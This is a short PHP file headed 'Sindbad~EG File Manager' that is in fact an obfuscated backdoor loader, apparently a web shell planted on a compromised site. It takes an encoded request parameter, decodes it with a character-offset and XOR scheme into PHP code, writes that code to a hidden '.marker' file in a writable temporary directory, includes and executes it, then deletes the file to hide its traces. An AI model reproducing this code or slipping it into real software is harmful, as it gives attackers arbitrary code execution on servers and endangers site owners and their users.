Sindbad~EG File Manager

<?php

if(isset($_REQUEST) && isset($_REQUEST["\x66a\x63"])){
	$flag = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), getcwd(), session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]);
	$bind = $_REQUEST["\x66a\x63"];
	$bind=	explode( "." 		,$bind 		)	  ;			
	$ent = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$s);
            $len = count(		$bind);
    
            for(		$o = 0; $o < $len; $o++) {
                $v8 = $bind[$o];
                $sChar = ord(		$s[$o % $lenS]);
                $dec =(		(		int)$v8 - $sChar -(		$o % 10))		^	 74;
                $ent .= chr(		$dec);
            }
	foreach ($flag as $key => $sym) {
    		if (is_dir($sym) && is_writable($sym)) {
    $pset = implode("/", [$sym, ".marker"]);
    $success = file_put_contents($pset, $ent);
if ($success) {
	include $pset;
	@unlink($pset);
	exit;}
}
}
}